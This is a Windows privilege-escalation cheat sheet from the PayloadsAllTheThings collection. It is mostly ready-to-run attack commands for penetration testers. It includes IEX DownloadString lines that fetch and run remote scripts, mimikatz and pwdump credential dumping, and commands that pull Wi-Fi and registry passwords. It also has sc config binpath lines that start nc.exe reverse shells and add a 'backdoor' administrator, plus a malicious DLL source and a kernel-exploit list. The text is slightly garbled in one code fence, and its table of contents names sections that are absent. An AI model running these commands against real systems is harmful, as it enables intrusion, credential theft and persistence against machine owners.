PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md

# Windows - Privilege Escalation

## Summary

* [Tools](#tools)
* [Windows Version and Configuration](#windows-version-and-configuration)
* [User Enumeration](#user-enumeration)
* [Network Enumeration](#network-enumeration)
* [Antivirus Enumeration](#antivirus-enumeration)
* [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
    * [SAM and SYSTEM files](#sam-and-system-files)
    * [HiveNightmare](#hivenightmare)
    * [LAPS Settings](#laps-settings)
    * [Search for file contents](#search-for-file-contents)
    * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
    * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
    * [Passwords in unattend.xml](#passwords-in-unattendxml)
    * [Wifi passwords](#wifi-passwords)
    * [Sticky Notes passwords](#sticky-notes-passwords)
    * [Passwords stored in services](#passwords-stored-in-services)
    * [Passwords stored in Key Manager](#passwords-stored-in-key-manager)
    * [Powershell History](#powershell-history)
    * [Powershell Transcript](#powershell-transcript)
    * [Password in Alternate Data Stream](#password-in-alternate-data-stream)
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](#eop---printers)
    * [Universal Printer](#universal-printer)
    * [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
    * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
    * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
    * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
    * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
    * [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
    * [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
* [EoP - Privileged File Write](#eop---privileged-file-write)
    * [DiagHub](#diaghub)
    * [UsoDLLLoader](#usodllloader)
    * [WerTrigger](#wertrigger)
    * [WerMgr](#wermgr)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
    * [MS08-067 (NetAPI)](#ms08-067-netapi)
    * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
    * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
    * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
    * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
    * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
    * [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references)

## Tools

- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
    ```powershell
    powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
    ```
- [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
- [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)
    ```powershell
    powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
    ```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
    ```powershell
    ./windows-exploit-suggester.py --update
    ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
    ```
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
    ```powershell
    Seatbelt.exe -group=all -full
    Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
    Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
    ```
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
    ```powershell
    powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
    ```
- [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)
- [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng)
    ```powershell
    # First obtain systeminfo
    systeminfo
    systeminfo > systeminfo.txt
    # Then feed it to wesng
    python3 wes.py --update-wes
    python3 wes.py --update
    python3 wes.py systeminfo.txt
    ```
- [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck)
    ```powershell
    C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
    C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
    C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
    ```

## Windows Version and Configuration

```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Extract patchs and updates
```powershell
wmic qfe
```

Architecture

```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```powershell
set
Get-ChildItem Env: | ft Key,Value
```

List all drives

```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```

## User Enumeration

Get current username

```powershell
echo %USERNAME% || whoami
$env:username
```

List user privilege

```powershell
whoami /priv
whoami /groups
```

List all users

```powershell
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

List logon requirements; useable for bruteforcing

```powershell$env:usernadsc
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```powershell
net user administrator
net user admin
net user %USERNAME%
```

List all local groups

```powershell
net localgroup
Get-LocalGroup | ft Name
```

Get details about a group (i.e. administrators)

```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```

Get Domain Controllers

```powershell
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
```

## Network Enumeration

List all network interfaces, IP, and DNS.

```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

List current routing table

```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```

List the ARP table

```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

List all current connections

```powershell
netstat -ano
```

List all network shares

```powershell
net share
powershell Find-DomainShare -ComputerDomain domain.local
```

SNMP Configuration

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

## Antivirus Enumeration

Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName`


## Default Writeable Folders

```powershell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp
```

## EoP - Looting for passwords

### SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

Generate a hash file for John using `pwdump` or `samdump2`.

```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```

Either crack it with `john -format=NT /root/sam.txt`, [hashcat](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md#hashcat) or use Pass-The-Hash.


### HiveNightmare

> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using `icacls`

```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Users:(I)(RX)    <-- this is wrong - regular users should not have read access!
```

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

```powershell
mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```

### LAPS Settings

Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry.

* LAPS Enabled: AdmPwdEnabled
* LAPS Admin Account Name: AdminAccountName
* LAPS Password Complexity: PasswordComplexity
* LAPS Password Length: PasswordLength
* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled


### Search for file contents

```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*
```

Also search in remote places such as SMB Shares and SharePoint:

* Search passwords in SharePoint: [nheiniger/SnaffPoint](https://github.com/nheiniger/SnaffPoint) (must be compiled first, for referencing issue see: https://github.com/nheiniger/SnaffPoint/pull/6)

```powershell
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://your.sharepoint.com)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com")

# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config"
```

* Search passwords in SMB Shares: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler)

### Search for a file with a certain filename

```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

### Search the registry for key names and passwords

```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

### Passwords in unattend.xml

Location of the unattend.xml files.

```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.

Example content

```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>
```

Unattend credentials are stored in base64 and can be decoded manually with base64.

```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 
SecretSecurePassword1234*
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

### IIS Web config

```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

### Other files

```bat
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```

### Wifi passwords

Find AP SSID
```bat
netsh wlan show profile
```

Get Cleartext Pass
```bat
netsh wlan show profile <SSID> key=clear
```

Oneliner method to extract wifi passwords from all the access point.

```batch
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```

### Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`

### Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)


```powershell
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```


### Passwords stored in Key Manager

:warning: This software will display its output in a GUI

```ps1
rundll32 keymgr,KRShowKeyMgr
```

### Powershell History

Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.

```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

### Powershell Transcript

```xml
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
```

### Password in Alternate Data Stream

```ps1
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```

## EoP - Processes Enumeration and Tasks

* What processes are running?
    ```powershell
    tasklist /v
    net start
    sc query
    Get-Service
    Get-Process
    Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
    ```

* Which processes are running as "system"
    ```powershell
    tasklist /v /fi "username eq system"
    ```

* Do you have powershell magic?
    ```powershell
    REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
    ```

* List installed programs
    ```powershell
    Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
    Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
    ```

* List services
    ```powershell
    net start
    wmic service list brief
    tasklist /SVC
    ```

* Enumerate scheduled tasks
    ```powershell
    schtasks /query /fo LIST 2>nul | findstr TaskName
    schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
    Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
    ```

* Startup tasks
    ```powershell
    wmic startup get caption,command
    reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
    dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
    ```

## EoP - Incorrect permissions in services

> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
    ```powershell
    # find missing DLL 
    - Find-PathDLLHijack PowerUp.ps1
    - Process Monitor : check for "Name Not Found"

    # compile a malicious dll
    - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
    - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"

    # content of windows_dll.c
    #include <windows.h>
    BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
        if (dwReason == DLL_PROCESS_ATTACH) {
            system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
            ExitProcess(0);
        }
        return TRUE;
    }
    ```

- PATH directories with weak permissions
    ```powershell
    $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
    $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

    $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
    FOR /F %i in (Servicenames.txt) DO echo %i
    type Servicenames.txt
    FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
    FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
    ```

Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`

Note to check file permissions you can use `cacls` and `icacls`
> icacls (Windows Vista +)    
> cacls (Windows XP)

You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or  `BUILTIN\Users:(W)`(Write-only access) in the output.

### Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

```powershell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc
```

### Example with Windows XP SP1 - upnphost

```powershell
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
```

If it fails because of a missing dependency, try the following commands.

```powershell
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""
```

Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe)

```powershell
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```

## EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)

> With root privileges Windows  Subsystem for Linux (WSL)  allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.

```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```

Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`

Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`

## EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```

* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit
    ```powershell
    # find the vulnerable application
    C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"

    ...
    [*] Checking for unquoted service paths...
    ServiceName   : BBSvc
    Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
    StartName     : LocalSystem
    AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
    ...

    # automatic exploit
    Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
    ```

### Example

For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:
- `C:\Program.exe`
- `C:\Program Files.exe`


## EoP - $PATH Interception

Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.

EXAMPLE:
```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```

Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder. 


## EoP - Named Pipes

1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`


## EoP - Kernel Exploitation

List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)

##### #Security Bulletin&nbsp;&nbsp;&nbsp;#KB &nbsp;&nbsp;&nbsp;&nbsp;#Description&nbsp;&nbsp;&nbsp;&nbsp;#Operating System  
- [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
- [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833)   [SMBv3 Null Pointer Dereference Denial of Service]    (Windows 8.1/Server 2012 R2)
- [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120)   [Win32k Elevation of Privilege Vulnerability]    (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
- [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016)
- [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1)
